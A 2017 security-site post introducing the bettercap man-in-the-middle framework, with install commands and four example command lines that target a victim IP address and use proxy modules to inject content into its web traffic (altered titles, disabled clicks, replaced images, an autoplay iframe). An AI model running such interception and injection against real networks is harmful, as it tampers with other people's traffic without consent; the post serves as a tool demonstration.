Skip to content
June 10, 2026
  • Linkedin
  • Twitter
  • Facebook
  • Youtube

Daily CyberSecurity

Zero-hour alerts. Unmatched analysis.

Primary Menu
  • Home
  • CVE Watchtower
  • Cyber Criminals
  • Data Leak
  • Linux
  • Malware
  • Vulnerability
  • Submit Press Release
  • Vulnerability Report
Light/Dark Button
  • Home
  • Technique
  • Fun with bettercap: Change title, disable click, replace image and add video on victim browser
  • Technique

Fun with bettercap: Change title, disable click, replace image and add video on victim browser

Do Son February 12, 2017 1 minute read
Screenshot from 2017-02-12 11-41-19

Introduce

bettercap is a complete, modular, portable and easily extensible MITM tool and framework with every kind of diagnostic and offensive feature you could need in order to perform a man in the middle attack.

Installing

sudo apt-get install build-essential ruby-dev libpcap-dev

gem install bettercap

From source

git clone https://github.com/evilsocket/bettercap

cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem

On Kali Linux

apt-get update

apt-get dist-upgrade
apt-get install bettercap

 bettercap-proxy-modules

This repository contains some bettercap transparent proxy example modules.

Usage:

  • Add a “!!! HACKED !!!” string to very webpage title
    bettercap -T 192.168.1.66 --proxy-module hack_title.rb

     

  • Disable click on victim machine
    bettercap -T 192.168.1.66 --proxy-module noscroll.rb

     

     

  • Replace all images on webpage
    bettercap -T 192.168.1.66 --proxy-module replace_images.rb

     

  •  Inject an iframe with the (in)famous RickRoll video in autoplay mode.
    bettercap -T 192.168.1.66 --proxy-module rickroll.rb

DEMO

https://www.youtube.com/watch?v=n1ylNKPIh5A

 

 

Share this article:

Facebook Post LinkedIn Telegram

Related posts:

  1. Flaw in PostgreSQL JDBC Driver (CVE-2025-49146) Exposes Database Connections to MITM Attacks!
  2. Windows Hello Update: Microsoft Disables Facial Recognition in the Dark Due to Security Flaw
  3. Microsoft 365 “Direct Send” Abused: Phishing Campaign Spoofs Internal Users, Bypasses Security
  4. Microsoft: China-Backed APTs Actively Exploiting SharePoint Flaws (CVE-2025-49704 & CVE-2025-49706)
  5. Microsoft Warns of Surge in Internal Domain Spoofing
Tags: bettercap mitm sniffing spoofing

Search

Translation

CVE WATCHTOWER
🚨

Receive alerts for vulnerabilities being exploited in the wild.

⚡

Get notified instantly when a Proof of Concept (PoC) exploit is published.

🔍

Access critical info on vulnerabilities even when marked as "RESERVED".

🧠

Insights powered by decades of expertise and global intelligence sources.

🎯

Customize alerts with up to 10 keywords for your specific tech stack.

📊

Export the raw CVE database for SIEM integration and reporting.

Upgrade Package

🔴 Live Critical Threats

  • CVE-2025-6254CVSS 9.8
    The Doctreat Core plugin for WordPress is vulnerable to Privilege Escalation in...
  • CVE-2026-45328CVSS 9.3
    ESF-IDF is the Espressif Internet of Things (IOT) Development Framework. In versions...
  • CVE-2026-48030CVSS 9.9
    ### Summary An OS Command Injection vulnerability in the terminal action handler...
  • CVE-2026-48303CVSS 10.0
    Adobe Campaign Classic (ACC) versions 7.4.3 build 9394 and earlier are affected...
  • CVE-2026-47938CVSS 10.0
    Adobe Campaign Classic (ACC) versions 7.4.3 build 9394 and earlier are affected...
  • CVE-2026-47928CVSS 9.6
    ColdFusion versions 2023.19, 2025.8 and earlier are affected by an Improper Input...
  • CVE-2026-30141CVSS 9.8
    An issue was discovered in bitbank2 AnimatedGIF v2.2.0. A buffer overflow in...
  • CVE-2026-10045CVSS 9.8
    Shenzhen Kangda Xin Intelligent Network Technology Company's router, model DR300, version 2.1.2.121,...
  • CVE-2026-34691CVSS 9.3
    Adobe Experience Manager Forms JEE versions LTS SP1, 6.5.24.0 and earlier are...
  • CVE-2026-49841CVSS 9.8
    FreeSWITCH is a Software Defined Telecom Stack enabling the digital transformation from...
Powered by CVE WATCHTOWER

Recent Zero-Day Vulnerabilities

  • Check Point VPN Vulnerability Exploited in the Wild with Ransomware Links
  • Weekly Threat Intelligence: June 1 to June 7, 2026
  • Cisco SD-WAN Vulnerability Exploited in the Wild with Root RCE Risks
  • Android Zero-Day Flaw Exploited in the Wild: June 2026 Patches Released
  • Exploited in the Wild: Critical OWA Spoofing Flaw (CVE-2026-42897) Hits On-Premises Exchange Servers
  • Exploited in the Wild: Maximum CVSS 10 SD-WAN Flaw (CVE-2026-20182) Grants Admin Control
Our Websites
  • Penetration Testing Tools
  • The Daily Information Technology
  • Daily CyberSecurity

    • About SecurityOnline.info
    • Advertise with us
    • Announcement
    • Contact
    • Contributor Register
    • Login
    • About SecurityOnline.info
    • Advertise on SecurityOnline.info
    • Contact Us

    When you purchase through links on our site, we may earn an affiliate commission. Here’s how it works

    • Disclaimer
    • Privacy Policy
    • DMCA NOTICE
    • Linkedin
    • Twitter
    • Facebook
    • Youtube
    © 2017 - 2026 Daily CyberSecurity. All Rights Reserved.